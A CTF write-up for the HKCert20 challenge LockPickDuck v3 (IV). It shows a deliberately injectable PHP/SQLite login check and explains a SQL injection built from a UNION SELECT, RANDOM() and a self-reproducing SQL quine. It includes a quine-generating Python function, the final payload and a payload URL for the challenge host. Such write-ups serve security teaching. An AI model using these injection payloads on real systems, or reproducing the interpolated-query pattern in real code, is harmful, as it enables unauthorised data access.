HKCert20 CTF : LockPickDuck v3 (IV) === (500 pts, 1 solve) Solver: T0022 - HKUST Member 2 This challenge has part (I), (II), (III) and (IV). This is the writeup of (IV). For part (I), (II) and (III), please [click here](https://hackmd.io/@hoifanrd/S1C7L3BFD). http:</span>//te</span>rtiary.pwn</span>able.h</span>k:50011 ```php= <?php class SQZero3 extends SQLite3 { private \$user; private \$pass; function __construct(\$user, \$pass) { \$this->open(":memory:"); \$this->exec("CREATE TABLE users (user text, pass text, hash text)"); \$this->user = \$user; \$this->pass = \$pass; } function checkHash(){ return @(\$this->querySingle("SELECT hash FROM users WHERE user='{\$this->user}' AND pass='{\$this->pass}'") == md5(\$this->pass)); } function checkUser(){ return @(\$this->querySingle("SELECT user FROM users WHERE user='{\$this->user}' AND pass='{\$this->pass}'") == \$this->user); } function checkPass(){ return @(\$this->querySingle("SELECT pass FROM users WHERE user='{\$this->user}'") == \$this->pass); } function checkMate(){ return @(\$this->querySingle("SELECT hash FROM users WHERE user='{\$this->user}' AND pass='{\$this->pass}'") === md5(\$this->pass)) && @(\$this->querySingle("SELECT user FROM users WHERE user='{\$this->user}' AND pass='{\$this->pass}'") === \$this->user) && @(\$this->querySingle("SELECT pass FROM users WHERE user='{\$this->user}'") === \$this->pass); } } if (isset(\$_GET["user"]) && isset(\$_GET["pass"])) { require("flag.php"); \$sq = new SQZero3(\$_GET["user"], \$_GET["pass"]); if (\$sq->checkHash()) { echo "<p>Flag 1: \$flag1</p>"; if (\$sq->checkUser()) { echo "<p>Flag 2: \$flag2</p>"; if (\$sq->checkPass()) { echo "<p>Flag 3: \$flag3</p>"; } } } else { echo "No Flag"; } if (\$sq->checkMate()) { echo "<p>Flag 4: \$flag4</p>"; } } else { highlight_file(__FILE__); } ?> ``` Okay. So we are going to get Flag 4. Let's analyze the php code first. ### Analyze the PHP As we can see, the website use _GET_ to get the field _user_ and _pass_. If the both fieids are set, it will first create a **BLANK** SQLite table. Then it will do a single query from that black table, to see if the query return value equals a specfic value. A worth note point is that the table is a blank table. How could it return value other than NULL? So we know that this is a SQL Injection challenge (Reference: [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/web/sqli/)). Let's see at what situation we can get Flag 4! ```sql SELECT hash FROM users WHERE user='{\$user}' AND pass='{\$pass}' === md5(\$pass) && SELECT user FROM users WHERE user='{\$user}' AND pass='{\$pass}' === \$user && SELECT pass FROM users WHERE user='{\$user}' === \$pass ``` If we could satisfy this statement, then we could get Flag 4! ### What to return? Well. From the above, we could see that we have 2 types of query. ##### 1. `SELECT something FROM users WHERE user='{\$user}' AND pass='{\$pass}' - (1)` ##### 2. `SELECT something FROM users WHERE user='{\$user}' - (2)` At first, what I think is that it is possible to have 2 different return value with these 2 queries due to the existence of `\$pass`. As the PHP function is `querySingle()`, it will just return the first column of the first row as the result. We can let `\$pass` be some statement like `ORDER BY`, so that the query without `\$pass` will have different value at the first row when compared with the one that has `\$pass`. We now can have 2 different return values. However, we met a problem here. In order to get Flag 4, we need to also make `(1) === md5(\$pass)` and `(1) === \$user`, which means we need `md5(\$pass) === \$user`. This implies that the `\$user` field can't be used as SQL Injection commands. But wait, we could only use `\$user` to do injection in `(2)`! ... Therefore, the only solution is to make `md5(\$pass) != \$user` and this means we have to make one single statement to have different return value when executed! How could this even be achieved? ### It's time to gamble! What is the way to have different output with same statement? We can do this by `random()`! One of the possible query syntax to have different output will be like this: ```sql SELECT CASE WHEN abs(RANDOM() % 2) = 1 THEN 'one' ELSE 'zero' END ``` This query will output `one` or `zero` with each 50% chance when executed! We can then change this a bit and do the following too: ```sql SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'two' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN 'one' ELSE 'zero' END END ``` This query allows us to have 3 different output with each 33% chance when executed! This is the query that we want as it can generate 3 different output which can be respectively `md5(\$pass)`, `\$pass` and `\$user`in this challenge. So, let's set `\$pass = a`. We also try to find the value of `md5(a)` which we know the value will be `0cc175b9c0f1b6a831c399e269772661`. Therefore, by substituting these 2 values in the above SQL command, it becomes like this: ```sql SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE 'zero' END END ``` This query can now return `\$pass` and `md5(\$pass)`. While the `'zero'` in the above command need to be replaced by `\$user`, which `\$user` will somehow be the above SQL command. Here's another tricky part, we need a SQL command returns itself. How? ### Quine main by don by main quine This subheader is a hint of this challenge. What does this mean? It means **quine**! What is a quine? From [Wikipedia](https://en.wikipedia.org/wiki/Quine_(computing)), *a quine is a computer program which takes no input and produces a copy of its own source code as its only output.* While for SQL, it means that the SQL query output will return it's query command. Here's one of the example: ```sql SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") AS Quine') AS Quine ``` If you run this query, it will output itself! This is exactly what we want. </br> So now let's see what should our `\$user` should be. *\$user:* `' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE \$\$ END END -- ` Where `\$\$` should be `\$user`, returning the `\$user` itself. </br> By finding some SQL quine generator, here is a python function for us the generate quine. ```python def quine(data): data = data.replace('\$\$', "REPLACE(REPLACE(\$\$,CHAR(34),CHAR(39)),CHAR(36),\$\$)") blob = data.replace('\$\$', '"\$"').replace("'", '"') data = data.replace('\$\$', "'" + blob + "'") print(data) ``` Therefore, executing `quine("' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE \$\$ END END -- ")` gives us the following SQL quine. ```sql ' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") END END -- ') END END -- ``` This would be our final `\$user`, which is a SQL Injection command which can return `\$pass`, `md5(\$pass)` and the most important - the `\$user` itself, in each 33% chance. ### Final Luck Therefore, this would be the `\$user` and `\$pass`: *\\$user:* `' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") END END -- ') END END -- ` *\\$pass:* `a` Where the final query on the server will be: ```sql SELECT something FROM users WHERE user='' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") END END -- ') END END -- ' AND pass='a' ``` </br> Payload URL: `http://tertiary.pwnable.hk:50011/?user=' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("\$",CHAR(34),CHAR(39)),CHAR(36),"\$") END END -- ') END END -- &pass=a` The final thing we have to do is to press the F5 on the key many times ~~(like when you reg courses or buy live tickets)~~. As each time the command just has a 1/3 chance of returning the value that we want, which means we have 1/27 chance for Flag 4 to appear. So it's time to test our luck! ~~And it's possible for you to never get the flag if you're unlucky.~~ That's all. See you next time. </br> ###### P.S. When you are bored and want to test your luck: ![](https://cdn.discordapp.com/attachments/774132843265392653/775044291281813524/unknown.png) ###### tags: `CTF`, `HKCert20`